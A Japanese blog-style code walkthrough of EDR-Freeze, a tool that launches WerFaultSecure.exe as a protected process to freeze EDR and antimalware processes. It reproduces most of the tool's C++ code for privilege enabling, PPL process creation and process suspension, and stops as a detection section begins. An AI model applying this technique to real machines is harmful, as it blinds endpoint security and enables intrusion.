Scarlet Tactics

悪用厳禁

EDR-Freeze v1.0-fbd43cf 解説

github.com

1. ツール概要と攻撃コンセプト

EDR-Freezeは、Windows Error Reporting(WER)のセキュアダンプ収集プロセス WerFaultSecure.exe の正規動作を悪用し、EDR/アンチマルウェアプロセスをユーザーモードからサスペンドするツールである。

従来のEDR無効化手法であるBYOVD(Bring Your Own Vulnerable Driver)がカーネルモードドライバのロードを必要とし、HVCI(Hypervisor-Protected Code Integrity)やドライバブロックリストによって阻止されるリスクがあるのに対し、本ツールはカーネルドライバを一切使用せず、OS標準バイナリの正規機能を間接的に利用する点が根本的に異なる。

リファレンス:

1.1 攻撃の本質

WerFaultSecure.exeはクラッシュダンプ取得時にターゲットプロセスの全スレッドをサスペンドする。これはダンプの一貫性(consistency)を保証するためのOSの正規動作である。EDR-Freezeはこのサスペンド処理を意図的に発生させ、さらにWerFaultSecure自体をサスペンドすることでターゲットのレジューム処理を阻止し、EDRプロセスを任意時間停止させる。

リファレンス — WerFaultSecure.exeの正規動作とPPLでのダンプ処理:

1.2 ファイル構成と役割

ファイル 役割
EDR-Freeze.cpp エントリポイント(wmain)、攻撃オーケストレーションFreezeRun)、サスペンド監視スレッド(PauseCheck
PPLHelp.h / PPLHelp.cpp PPL(Protected Process Light)プロセス作成クラス。WerFaultSecureをPPLとして起動する
ProcessMisc.h / ProcessMisc.cpp プロセス操作ユーティリティ。権限昇格、スレッドID取得、サスペンド判定、プロセス制御

2. エントリポイント:wmain()

ファイル: EDR-Freeze.cpp 116〜148行目

int wmain(int argc, wchar_t* argv[])
{
    // ...バナー表示...
    if (argc != 3)
    {
        std::wcout << L"Usage:\n"
            << L"  EDR-Freeze.exe <TargetPID> <SleepTime>\n\n"
            // ...
        return 0;
    }
    DWORD targetPid = _wtoi(argv[1]);
    DWORD pauseTime = _wtoi(argv[2]);

コマンドライン引数として ターゲットPID(凍結対象のEDRプロセスID)と SleepTime(凍結維持時間、ミリ秒)を受け取る。_wtoi() でワイド文字列から整数に変換している。wmain を使用しているのは、プロジェクト全体がUnicodeビルド(/DUNICODE /D_UNICODE)で構成されているためである。

2.1 SeDebugPrivilegeの有効化

    if (!EnableDebugPrivilege())
    {
        std::wcerr << L"Failed to enable debug privilege.\n";
        return 0;
    }

後続の全操作の前提条件として SeDebugPrivilege を有効化する。この呼び出しが失敗した場合、以降の OpenProcessACCESS_DENIED で失敗するため、ここで早期リターンする。詳細は後述のセクション3で解説する。

2.2 メインスレッドID取得とFreezeRun呼び出し

    DWORD targetTid = GetMainThreadId(targetPid);
    if (targetTid == 0)
    {
        std::wcerr << L"Failed to find main thread for PID " << targetPid << L"\n";
        return 0;
    }
    FreezeRun(targetPid, targetTid, pauseTime);

WerFaultSecureの /tid 引数にはターゲットプロセスのスレッドIDが必要である。GetMainThreadId() でこれを取得し、攻撃本体である FreezeRun() に渡す。


3. 権限昇格:EnableDebugPrivilege()

ファイル: ProcessMisc.cpp 11〜57行目

この関数は現在のプロセストークンに SeDebugPrivilege を付与する。この特権により、本ツールは自身が所有者でない任意のプロセスに対して PROCESS_SUSPEND_RESUMEPROCESS_TERMINATE アクセス権でハンドルを取得できるようになる。

リファレンス — SeDebugPrivilegeとトークン操作:

3.1 トークン取得

bool EnableDebugPrivilege()
{
    HANDLE hToken = nullptr;
    TOKEN_PRIVILEGES tp = {};
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        std::wcerr << L"OpenProcessToken failed: " << GetLastError() << L"\n";
        return false;
    }

OpenProcessToken で現在のプロセスのアクセストークンを TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY 権限で開く。TOKEN_ADJUST_PRIVILEGES は特権の有効化/無効化に必要であり、TOKEN_QUERY は現在の特権状態の問い合わせに必要である。

前提条件: 本ツールは管理者権限(Elevated)で実行される必要がある。標準ユーザートークンには SeDebugPrivilege が含まれないため、AdjustTokenPrivileges は成功してもこの特権は有効化されない。

3.2 LUID取得と特権有効化

    if (!LookupPrivilegeValueW(nullptr, SE_DEBUG_NAME, &luid))
    {
        // ...エラー処理...
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr))
    {
        // ...エラー処理...
    }

LookupPrivilegeValueWSE_DEBUG_NAME(= "SeDebugPrivilege" のマクロ)に対応するLUID(ローカル一意識別子)を取得する。LUIDはシステムごとに異なる可能性があるため、ハードコードせずに動的に取得する必要がある。

AdjustTokenPrivilegesトークン内の該当特権を SE_PRIVILEGE_ENABLED に変更する。

なぜSeDebugPrivilegeが必要か: Windows のアクセス制御モデルでは、他のユーザーが所有するプロセスや、SYSTEM権限で動作するサービスプロセス(EDRの多くがこれに該当)に対して OpenProcess でハンドルを取得するには、DACLチェックをバイパスする SeDebugPrivilege が必要となる。この特権がないと、後続の SuspendProcessByPID()TerminateProcessByPID()OpenProcess が失敗する。

3.3 成功確認

    CloseHandle(hToken);
    if (GetLastError() == ERROR_SUCCESS)
    {
        std::wcout << L"SeDebugPrivilege enabled successfully.\n";
        return true;
    }

AdjustTokenPrivileges は「要求された特権の一部が有効化できなかった」場合でも TRUE を返す仕様であるため、GetLastError()ERROR_SUCCESS を確認して本当に成功したかを検証している。ERROR_NOT_ALL_ASSIGNED が返る場合、トークンに SeDebugPrivilege が含まれていない(=管理者権限で実行されていない)ことを意味する。


4. メインスレッドID取得:GetMainThreadId()

ファイル: ProcessMisc.cpp 59〜103行目

この関数はターゲットプロセスのメインスレッドのIDを取得する。WerFaultSecureの /tid パラメータに渡す値として必要である。

リファレンス — NtQuerySystemInformationとプロセス/スレッド情報:

4.1 NtQuerySystemInformationの動的解決

DWORD GetMainThreadId(DWORD pid)
{
    ULONG bufferSize = 0x10000;
    PVOID buffer = nullptr;
    NTSTATUS status;
    PNtQuerySystemInformation NtQuerySystemInformation =
        (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");

NtQuerySystemInformation はntdll.dllのネイティブAPI(undocumented API)であり、Win32 APIではなくNTカーネルインターフェースに属する。GetProcAddress で動的にアドレスを解決している理由は、このAPIWindows SDKのヘッダで公式には宣言されていないためである。ヘッダ ProcessMisc.h では関数ポインタ型 PNtQuerySystemInformation を独自に定義している(68〜73行目)。

なぜWin32 APICreateToolhelp32Snapshot等)ではなくネイティブAPIを使うか: NtQuerySystemInformationSystemProcessInformation クラスを指定することで、全プロセスとその全スレッドの状態情報(スレッドID、スレッド状態、待機理由など)を一度の呼び出しで取得できる。後述の IsProcessSuspendedByPID() でもこのスレッド状態情報が必要であり、同じAPIで統一的に処理できる。

4.2 動的バッファ確保と再試行ループ

    do {
        buffer = VirtualAlloc(nullptr, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!buffer) return 0;

        status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, nullptr);
        if (status == STATUS_INFO_LENGTH_MISMATCH) {
            VirtualFree(buffer, 0, MEM_RELEASE);
            bufferSize *= 2;
        }
    } while (status == STATUS_INFO_LENGTH_MISMATCH);

NtQuerySystemInformation は、提供されたバッファが不足している場合 STATUS_INFO_LENGTH_MISMATCH (0xC0000004) を返す。プロセス情報はシステム全体のプロセス・スレッド数に依存して動的にサイズが変わるため、初期バッファ(0x10000 = 64KB)で不足した場合、バッファサイズを倍増させて再試行する。VirtualAlloc を使っているのは大きなメモリブロックを確保するためで、malloc でも機能的には同じだが、ページ単位のアライメントが保証される。

4.3 プロセス情報のリンクリスト走査

    auto spi = (MY_SYSTEM_PROCESS_INFORMATION*)buffer;
    while (true) {
        if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid)
        {
            if (spi->NumberOfThreads > 0)
            {
                mainThreadId = (DWORD)(ULONG_PTR)spi->Threads[0].ClientId.UniqueThread;
            }
            break;
        }
        if (spi->NextEntryOffset == 0) break;
        spi = (MY_SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset);
    }

SystemProcessInformation が返すデータは、MY_SYSTEM_PROCESS_INFORMATION 構造体のリンクリストである。各エントリの NextEntryOffset フィールドが次のエントリへのバイトオフセットを示し、0の場合はリスト終端を意味する。

UniqueProcessId がターゲットPIDと一致するエントリを見つけたら、Threads[0].ClientId.UniqueThread からメインスレッドIDを取得する。Threads は可変長配列で、MY_SYSTEM_PROCESS_INFORMATION 構造体の末尾に NumberOfThreads 個分のスレッド情報が続く。Threads[0] は通常、プロセスのメインスレッド(最初に作成されたスレッド)に対応する。

MY_SYSTEM_PROCESS_INFORMATION を独自定義している理由: Windowsの公式ヘッダ winternl.h には SYSTEM_PROCESS_INFORMATION が定義されているが、スレッド情報の詳細フィールド(ThreadStateWaitReasonなど)が省略されている場合がある。本ツールでは IsProcessSuspendedByPID() でこれらのフィールドを参照する必要があるため、ProcessMisc.h 19〜66行目で完全な構造体定義 MY_SYSTEM_PROCESS_INFORMATION / MY_SYSTEM_THREAD_INFORMATION を独自に定義している。


5. 攻撃オーケストレーションFreezeRun()

ファイル: EDR-Freeze.cpp 27〜113行目

攻撃の全体フローを制御する中核関数である。

5.1 継承可能ハンドルの作成

BOOL FreezeRun(DWORD targetPID, DWORD targetTID, DWORD sleepTime)
{
    SECURITY_ATTRIBUTES sa = {};
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = nullptr;

    std::wstring dumpFileName = L"dump_" + std::to_wstring(targetPID) + L".txt";
    HANDLE hEncDump = CreateFileW(dumpFileName.c_str(), GENERIC_WRITE, 0, &sa,
                                   CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    // ...
    HANDLE hCancel = CreateEventW(&sa, TRUE, FALSE, nullptr);

SECURITY_ATTRIBUTES.bInheritHandle = TRUE の意義: Windowsのプロセス間ハンドル継承メカニズムでは、子プロセス作成時に bInheritHandles = TRUE が指定された場合、親プロセスのハンドルテーブル内で bInheritHandle = TRUE としてマークされたハンドルが子プロセスに複製される。複製されたハンドルは子プロセス内で同じ数値を持つため、コマンドライン引数としてハンドル値を渡すことで子プロセスがそのハンドルを使用できる。

リファレンス — ハンドル継承とCreateProcessW:

ここで作成される2つのハンドルは以下の目的を持つ:

hEncDump(ダンプファイルハンドル): WerFaultSecureがダンプデータを書き込む先のファイルハンドル。攻撃目的としてはダンプデータは不要だが、WerFaultSecureのコマンドラインインターフェースが /encfile パラメータを必須引数として要求するため、正当なハンドルを渡す必要がある。

hCancel(キャンセルイベント): マニュアルリセットイベント(CreateEventW の第2引数 TRUE)で、初期状態は非シグナル(第3引数 FALSE)。WerFaultSecureはこのイベントを定期的にチェックし、シグナル状態であればダンプ処理を中断する設計になっている。本ツールではこのイベントを意図的にシグナルしないことで、WerFaultSecureがダンプ処理を継続し続けるようにしている。

5.2 WerFaultSecureのコマンドライン組み立て

    std::wstring werPath = L"C:\\Windows\\System32\\WerFaultSecure.exe";
    std::wstringstream cmd;
    cmd << werPath
        << L" /h"
        << L" /pid " << targetPID
        << L" /tid " << targetTID
        << L" /encfile " << HandleToDecimal(hEncDump)
        << L" /cancel " << HandleToDecimal(hCancel)
        << L" /type 268310";

各パラメータの意味:

パラメータ 意味
/h (フラグ) ハングダンプモード。プロセスが「応答なし」状態であることを前提としたダンプ取得を指示する。通常のクラッシュダンプと異なり、アプリケーション側からの応答を待たずにダンプを開始する
/pid ターゲットPID ダンプ取得対象のプロセスID
/tid ターゲットTID ダンプ取得対象の起点となるスレッドID
/encfile ハンドル値(10進数) ダンプデータの書き込み先ファイルハンドル。ハンドル継承により子プロセスが使用可能
/cancel ハンドル値(10進数) キャンセルイベントのハンドル。シグナルされるとダンプを中断する
/type 268310 ダンプの種類を指定するフラグ。フルメモリダンプに相当する値

リファレンス — WerFaultSecureのコマンドライン引数:

  • Zero Salarium原著ブログ(既出URL)にて、WerFaultSecureのリバースエンジニアリングによるパラメータ解析を解説。同著者によるLSASSダンプツール「WSASS」の開発過程で取得された情報である。
  • 「The Windows Process Journey — WerFaultSecure.exe」(既出Medium記事)にて、WerFaultSecure.exeの暗号化ダンプ動作(非対称暗号でMicrosoftのみ復号可能)の仕組みを解説。

HandleToDecimal() について(ProcessMisc.cpp 4〜9行目):

std::wstring HandleToDecimal(HANDLE h)
{
    std::wstringstream ss;
    ss << reinterpret_cast<UINT_PTR>(h);
    return ss.str();
}

HANDLEはポインタサイズの不透明な値であり、reinterpret_cast<UINT_PTR> で整数値に変換し、10進文字列としてコマンドラインに埋め込む。子プロセスはこの数値をHANDLE値として直接使用できる(ハンドル継承によって同じ値が有効)。

5.3 PPLプロセスとしてWerFaultSecureを起動

    PPLProcessCreator creator;
    DWORD werPID = creator.CreatePPLProcess(0, commandLine);

引数 0PROTECTION_LEVEL_WINTCBWindows Trusted Computer Base)を意味する。これはPPL保護レベルの最上位であり、他のすべての保護レベル(ANTIMALWARE_LIGHTWINDOWS_LIGHT 等)を持つプロセスに対して操作権限を持つ。詳細はセクション6で解説する。

5.4 サスペンド監視スレッドの起動

    PauseCheckParams* params = new PauseCheckParams{ targetPID, werPID };
    HANDLE hThread = CreateThread(
        nullptr, 0, PauseCheck, params, 0, nullptr
    );

PauseCheck 関数を別スレッドで実行する。この関数はターゲットプロセスがサスペンドされるのをスピンループで待機し、検知した瞬間にWerFaultSecure自体をサスペンドする(セクション8で詳述)。

なぜ別スレッドが必要か: メインスレッドは Sleep(sleepTime) で凍結時間を制御する必要がある。一方、ターゲットのサスペンド検知→WerFaultSecureのサスペンドは可能な限り迅速に行う必要がある(遅延するとWerFaultSecureがダンプを完了してターゲットをレジュームしてしまう)。これらは並行して実行される必要があるため、別スレッドで処理する。

5.5 タイマー制御と終了処理

    Sleep(sleepTime);
    if (TerminateProcessByPID(werPID))
    {
        std::wcout << L"Kill WER successfully. PID: " << werPID << std::endl;
    }
    // ...クリーンアップ...

Sleep(sleepTime) で指定時間だけメインスレッドを停止する。この間、ターゲットプロセスはサスペンド状態のままである。

Sleep 完了後、TerminateProcessByPID() でWerFaultSecureを強制終了する。WerFaultSecureが終了すると、ダンプ処理のためにサスペンドされていたターゲットプロセスのスレッドはカーネルによって自動的にレジュームされる。


6. PPLプロセス作成:CreatePPLProcess()

ファイル: PPLHelp.cpp 43〜123行目

このメソッドがEDR-Freezeの技術的核心であり、WerFaultSecure.exeをPPL保護付きプロセスとして起動する。

6.1 PPL(Protected Process Light)の背景

Windows 8.1以降、Microsoftはプロセス保護モデルとしてPPLを導入した。PPLプロセスは、自身と同等以上の保護レベルを持つプロセスからしかアクセスされないようカーネルが強制する仕組みである。Windows DefenderやサードパーティEDRのコアプロセスは PROTECTION_LEVEL_ANTIMALWARE_LIGHT として動作しており、通常のユーザーモードプロセスからは OpenProcess による操作が拒否される。

リファレンス — PPL保護モデル:

保護レベルの階層(高→低)は以下の通り:

レベル 用途
WinTcb 0 Windowsカーネルコンポーネント(最上位)
Windows 1 Windows署名サービス
WinTcb-Light 4 軽量カーネルコンポーネント
Windows-Light 5 軽量Windowsサービス
Antimalware-Light 3 EDR/アンチマルウェア
LSA-Light 6 LSA保護

本ツールでは保護レベル 0(WinTcb)を指定してWerFaultSecureを起動するため、ANTIMALWARE_LIGHT レベルで保護されたEDRプロセスに対しても操作権限を持つ。

6.2 属性リストの初期化

DWORD PPLProcessCreator::CreatePPLProcess(DWORD protectionLevel, std::wstring& commandLine)
{
    SIZE_T size = 0;
    STARTUPINFOEXW siex = { 0 };
    siex.StartupInfo.cb = sizeof(siex);
    PROCESS_INFORMATION pi = { 0 };
    LPPROC_THREAD_ATTRIBUTE_LIST ptal = nullptr;

    if (!InitializeProcThreadAttributeList(nullptr, 1, 0, &size)
        && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
    {
        // ...エラー処理...
    }
    ptal = reinterpret_cast<LPPROC_THREAD_ATTRIBUTE_LIST>(HeapAlloc(GetProcessHeap(), 0, size));
    if (!InitializeProcThreadAttributeList(ptal, 1, 0, &size))
    {
        // ...エラー処理...
    }

InitializeProcThreadAttributeList を2回呼び出すパターンは、Win32 APIの一般的なイディオムである。1回目は nullptr を渡して必要なバッファサイズを取得し(戻り値は FALSE だが GetLastError()ERROR_INSUFFICIENT_BUFFER であれば正常)、2回目で実際にバッファを初期化する。引数の 1 は属性の数(ここでは PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL の1つのみ)を指定している。

6.3 保護レベル属性の設定

    if (!UpdateProcThreadAttribute(ptal, 0,
        PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
        &protectionLevel, sizeof(protectionLevel), nullptr, nullptr))
    {
        // ...エラー処理...
    }
    siex.lpAttributeList = ptal;

UpdateProcThreadAttribute で属性リストに PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL 属性を追加する。protectionLevel は呼び出し元から 0(= PROTECTION_LEVEL_WINTCB)として渡されている。

この属性は CreateProcessW に対して、作成するプロセスにPPL保護を適用するよう指示するものである。ただし、対象バイナリ(WerFaultSecure.exe)がMicrosoftの適切な証明書で署名されていなければ、カーネルがこの要求を拒否する。

リファレンス — UpdateProcThreadAttribute:

6.4 CreateProcessWの呼び出し

    if (!CreateProcessW(
        nullptr,                                  // lpApplicationName
        (LPWSTR)commandLine.c_str(),              // lpCommandLine
        nullptr,                                  // lpProcessAttributes
        nullptr,                                  // lpThreadAttributes
        TRUE,                                     // bInheritHandles ★
        EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS,  // dwCreationFlags ★
        nullptr,                                  // lpEnvironment
        nullptr,                                  // lpCurrentDirectory
        &siex.StartupInfo,                        // lpStartupInfo
        &pi))                                     // lpProcessInformation

注目すべきパラメータ:

bInheritHandles = TRUE これにより、親プロセスで bInheritHandle = TRUE としてマークされたハンドル(前述の hEncDumphCancel)が子プロセス(WerFaultSecure)のハンドルテーブルに複製される。WerFaultSecureはコマンドラインで渡されたハンドル値を使って、これらのカーネルオブジェクトにアクセスする。

EXTENDED_STARTUPINFO_PRESENT STARTUPINFOEXW(拡張スタートアップ情報)を使用していることを示すフラグ。属性リスト(ptal)は STARTUPINFOEXW.lpAttributeList 経由で渡される。

CREATE_PROTECTED_PROCESS プロセスをPPL(Protected Process)として作成するフラグ。このフラグと属性リストの PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL が組み合わさることで、指定した保護レベルでプロセスが起動される。

なぜ非PPLプロセスからPPLプロセスを作成できるか: CREATE_PROTECTED_PROCESS によるPPLプロセスの作成は、呼び出し元プロセスの保護レベルではなく、対象バイナリの署名とマニフェストによって許可が判断される。WerFaultSecure.exeはMicrosoftWindows署名済みバイナリであり、PPLとして起動可能なマニフェスト属性を持っている。したがって、管理者権限を持つ通常の(非PPL)プロセスからでもPPLとして起動できる。これがこのツールの根本的な脆弱性利用ポイントである。

リファレンス — PPL作成の仕組み:

  • 公式Microsoft「CreateProcessW function」(既出URL):
    • CREATE_PROTECTED_PROCESS フラグの説明。dwCreationFlags パラメータの全フラグ定義。
  • 同著者による先行ツール「CreateProcessAsPPL」:
    https://github.com/TwoSevenOneT/CreateProcessAsPPL
    • PPL保護レベル付きプロセスの作成手法を実装したユーティリティ。EDR-Freezeの技術基盤。

6.5 保護レベルの確認

    m_hProcess = pi.hProcess;
    m_hThread = pi.hThread;
    std::wcout << L"Successfully created PPL process with PID: " << pi.dwProcessId << std::endl;
    std::wcerr << L"Protection level: "
               << GetPPLProtectionLevelName(GetPPLProtectionLevel(pi.dwProcessId)) << std::endl;
    return pi.dwProcessId;

作成されたプロセスの保護レベルを GetPPLProtectionLevel() で問い合わせ、実際にPPLとして起動されたことを確認している。

6.6 GetPPLProtectionLevel()による検証

ファイル: PPLHelp.cpp 3〜23行目

DWORD PPLProcessCreator::GetPPLProtectionLevel(DWORD processId)
{
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId);
    if (hProcess)
    {
        PROCESS_PROTECTION_LEVEL_INFORMATION protectionInfo;
        if (GetProcessInformation(hProcess, ProcessProtectionLevelInfo,
            &protectionInfo, sizeof(protectionInfo)))
        {
            protectionLevel = protectionInfo.ProtectionLevel;
        }
        CloseHandle(hProcess);
    }
    return protectionLevel;
}

PROCESS_QUERY_LIMITED_INFORMATION はPPLプロセスに対しても取得可能な最小限のアクセス権である(PPL保護の制限を受けない)。GetProcessInformationProcessProtectionLevelInfo クラスで保護レベルを問い合わせ、PROTECTION_LEVEL_WINTCB_LIGHT 等の値が返ることを確認する。


7. サスペンド状態の判定:IsProcessSuspendedByPID()

ファイル: ProcessMisc.cpp 105〜160行目

この関数はターゲットプロセスの全スレッドがサスペンド状態になったかどうかを判定する。

7.1 判定ロジック

BOOL IsProcessSuspendedByPID(DWORD pid)
{
    // ...NtQuerySystemInformation呼び出し(GetMainThreadIdと同様のパターン)...

    while (true)
    {
        if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid)
        {
            if (spi->NumberOfThreads == 0) return FALSE;

            PSYSTEM_THREAD_INFORMATION threadInfo =
                (PSYSTEM_THREAD_INFORMATION)((PBYTE)spi + sizeof(SYSTEM_PROCESS_INFORMATION));
            for (ULONG i = 0; i < spi->NumberOfThreads; ++i)
            {
                if (threadInfo[i].ThreadState != StateWait ||
                    threadInfo[i].WaitReason != Suspended)
                {
                    return FALSE;
                }
            }
            return TRUE;

各スレッドの ThreadStateWaitReason を検査する。全スレッドが以下の条件を満たす場合にサスペンド状態と判定する:

フィールド 定数定義(ProcessMisc.h 84〜85行目) 意味
ThreadState 5 #define StateWait 5 スレッドがWait状態にある
WaitReason 5 #define Suspended 5 Wait理由がSuspended(明示的サスペンド)である

StateWaitSuspended の区別: Windowsカーネルのスレッドスケジューラにおいて、スレッドは複数の状態を持つ(Running、Ready、Waiting等)。Waiting状態のスレッドはさらに WaitReason によって「なぜ待機しているか」が区別される。WaitReason == SuspendedNtSuspendThread や同等のAPIによって明示的にサスペンドされたことを示す。I/O待ちやイベント待ちとは異なる。

リファレンス — ThreadStateとWaitReasonの値定義:

WerFaultSecureがダンプ取得のためにターゲットプロセスのスレッドをサスペンドすると、全スレッドがこの状態になる。IsProcessSuspendedByPID はこの状態遷移を検知するために使用される。

7.2 スレッド情報配列のアクセス方法

PSYSTEM_THREAD_INFORMATION threadInfo =
    (PSYSTEM_THREAD_INFORMATION)((PBYTE)spi + sizeof(SYSTEM_PROCESS_INFORMATION));

ここでは MY_SYSTEM_PROCESS_INFORMATION ではなく標準ヘッダの SYSTEM_PROCESS_INFORMATION のサイズを使ってオフセット計算している点に注意。SYSTEM_PROCESS_INFORMATION 構造体の直後にスレッド情報配列が連続して配置されるというカーネルのメモリレイアウトに依存した実装である。


8. サスペンド監視とWerFaultSecure凍結:PauseCheck()

ファイル: EDR-Freeze.cpp 6〜26行目

struct PauseCheckParams {
    DWORD targetPID;
    DWORD werPID;
};

DWORD WINAPI PauseCheck(LPVOID lpParam)
{
    PauseCheckParams* params = static_cast<PauseCheckParams*>(lpParam);
    DWORD targetPID = params->targetPID;
    DWORD werPID = params->werPID;
    while (!IsProcessSuspendedByPID(targetPID))
    {
        continue;
    }
    // target paused, now pause WerFault to keep target freeze
    if (SuspendProcessByPID(werPID))
    {
        std::wcout << L"WER paused. PID: " << targetPID << std::endl;
    }
    return 0;
}

8.1 スピンループによるポーリング

while (!IsProcessSuspendedByPID(targetPID)) { continue; } は典型的なビジーウェイト(スピンループ)である。各反復で NtQuerySystemInformation が呼ばれ、ターゲットの全スレッドのサスペンド完了を検知する。

なぜイベントベースの通知ではなくスピンループか: WerFaultSecureがターゲットをサスペンドするタイミングを外部から通知するAPIは存在しない。カーネルコールバックやETWイベントを使う方法もあるが、ユーザーモードからの最も単純な検知方法がポーリングである。スピンループはCPU負荷が高いが、WerFaultSecureがターゲットをサスペンドするまでの時間は通常非常に短い(ミリ秒オーダー)ため、実用上の問題は小さい。

8.2 タイミングクリティカルなWerFaultSecureのサスペンド

IsProcessSuspendedByPID がTRUEを返した瞬間、SuspendProcessByPID(werPID) でWerFaultSecure自体をサスペンドする。

なぜこのタイミングが重要か: WerFaultSecureの内部フローは以下の通りである:

  1. ターゲットプロセスの全スレッドをサスペンド
  2. メモリダンプを取得(hEncDumpに書き込み)
  3. 全スレッドをレジューム

ステップ1完了後、ステップ3の前にWerFaultSecure自体をサスペンドすれば、ターゲットはサスペンド状態のまま留まる。ダンプの書き込みには時間がかかるため(フルダンプの場合はプロセスメモリ全体をファイルに書き出す)、ステップ2の実行中にWerFaultSecureをサスペンドできる時間的余裕がある。


9. プロセスサスペンドSuspendProcessByPID()

ファイル: ProcessMisc.cpp 162〜189行目

BOOL SuspendProcessByPID(DWORD pid)
{
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return false;

    pNtSuspendProcess NtSuspendProcess =
        (pNtSuspendProcess)GetProcAddress(hNtdll, "NtSuspendProcess");
    if (!NtSuspendProcess) return false;

    HANDLE hProcess = OpenProcess(PROCESS_SUSPEND_RESUME, FALSE, pid);
    if (!hProcess)
    {
        std::wcerr << L"OpenProcess: PROCESS_SUSPEND_RESUME failed: "
                   << GetLastError() << std::endl;
        return false;
    }

    NTSTATUS status = NtSuspendProcess(hProcess);
    CloseHandle(hProcess);
    // ...
}

9.1 NtSuspendProcessの使用理由

NtSuspendProcess はntdll.dllのundocumented APIであり、Win32レベルには SuspendProcess に直接対応するAPIが存在しない(SuspendThread はあるが SuspendProcess はない)。このネイティブAPIはプロセス内の全スレッドを一括でサスペンドする。Win32レベルで同等のことを行うには、CreateToolhelp32Snapshot でスレッドを列挙し、個別に SuspendThread を呼ぶ必要があるが、スレッド列挙中に新スレッドが作成されるレースコンディションがある。NtSuspendProcessカーネル内でアトミックに全スレッドをサスペンドするため、この問題を回避できる。

リファレンス — NtSuspendProcess:

  • NtDoc「NtSuspendProcess」(System Informer / Process Hackerのphntヘッダベース):
    https://ntdoc.m417z.com/ntsuspendprocess
    • PROCESS_SUSPEND_RESUME アクセス権が必要であること、内部的にスレッドを1つずつサスペンドするためレースコンディションの可能性があること、THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE フラグ付きスレッドは無視されることを記述。
  • Opcode「NtSuspendProcess」(カーネル内部動作の解析):
    https://ntopcode.wordpress.com/tag/ntsuspendprocess/
    • NtSuspendProcessカーネルモード側実装詳細。ObpReferenceObjectByHandleWithTag によるハンドル→EPROCESS変換、スレッド列挙・サスペンドの内部ルーチン呼び出しフローを解説。SuspendThread(KERNEL32)→ NtSuspendThread(NTDLL)→ NtSuspendThread(NTOSKRNL)の呼び出しチェーンも説明。

9.2 PROCESS_SUSPEND_RESUMEアクセス権とPPL

OpenProcess(PROCESS_SUSPEND_RESUME, FALSE, pid) でWerFaultSecureのハンドルを取得している。WerFaultSecureはPPL保護されたプロセスであるが、SeDebugPrivilege が有効な場合、PPLプロセスに対しても一部のアクセス権(PROCESS_SUSPEND_RESUMEPROCESS_TERMINATE)が取得可能である。これはWindowsのPPL保護モデルの設計上の限界であり、本ツールが悪用するポイントの一つである。

リファレンス — PPLプロセスに対するアクセス権:

  • 公式Microsoft「Process Security and Access Rights」(既出URL):
    • 「The following standard access rights are not allowed from a process to a protected process」として保護プロセスに対するアクセス制限を列挙。ただし PROCESS_SUSPEND_RESUME は明示的に禁止リストに含まれていないことが確認可能。

10. プロセス強制終了:TerminateProcessByPID()

ファイル: ProcessMisc.cpp 191〜210行目

BOOL TerminateProcessByPID(DWORD pid)
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
    if (!hProcess)
    {
        std::cerr << "OpenProcess failed. Error: " << GetLastError() << "\n";
        return false;
    }
    BOOL result = TerminateProcess(hProcess, 1);
    // ...
}

Sleep(sleepTime) 後にWerFaultSecureを強制終了するために呼ばれる。TerminateProcessカーネル内でプロセスの全スレッドを終了させ、プロセスオブジェクトをクリーンアップする。WerFaultSecureが終了すると、ダンプ取得のためにサスペンドされていたターゲットプロセスのスレッドは自動的にレジュームされる(カーネルがダンプ関連のサスペンドカウントを解除する)。

終了コード 1 は慣例的にエラー終了を意味するが、本ツールとしてはこの値に意味はない。


11. 攻撃フロー全体のタイムライン図

時間 →

EDR-Freeze (メインスレッド)
├── EnableDebugPrivilege()
├── GetMainThreadId(targetPID)
├── FreezeRun() 開始
│   ├── hEncDump, hCancel 作成(継承可能ハンドル)
│   ├── CreatePPLProcess() → WerFaultSecure.exe 起動 (PPL/WinTcb)
│   ├── CreateThread(PauseCheck) → 監視スレッド起動
│   ├── Sleep(sleepTime) ←─── 凍結時間 ────→ TerminateProcessByPID(werPID)
│   └── クリーンアップ                         → ターゲット自動レジューム

EDR-Freeze (PauseCheckスレッド)
│   ├── while(!IsProcessSuspendedByPID(target)) spin...
│   └── SuspendProcessByPID(werPID) → WerFaultSecure サスペンド

WerFaultSecure.exe (PPL/WinTcb)
│   ├── ターゲットの全スレッドをサスペンド ← ★ここが検知ポイント
│   ├── ダンプデータ書き込み中... ← PauseCheckがここで止める
│   ├── ▓▓▓ サスペンド状態 ▓▓▓▓▓▓ ← Sleep(sleepTime)の間
│   └── 強制終了される

ターゲットEDRプロセス
│   ├── 正常動作中...
│   ├── ▓▓▓ 全スレッドサスペンド ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ← EDR機能停止
│   └── 自動レジューム → 正常動作再開

12. 防御側の観点:検知・緩和策

12.1 検知シグナル

検知ポイント 詳細 該当コード箇所
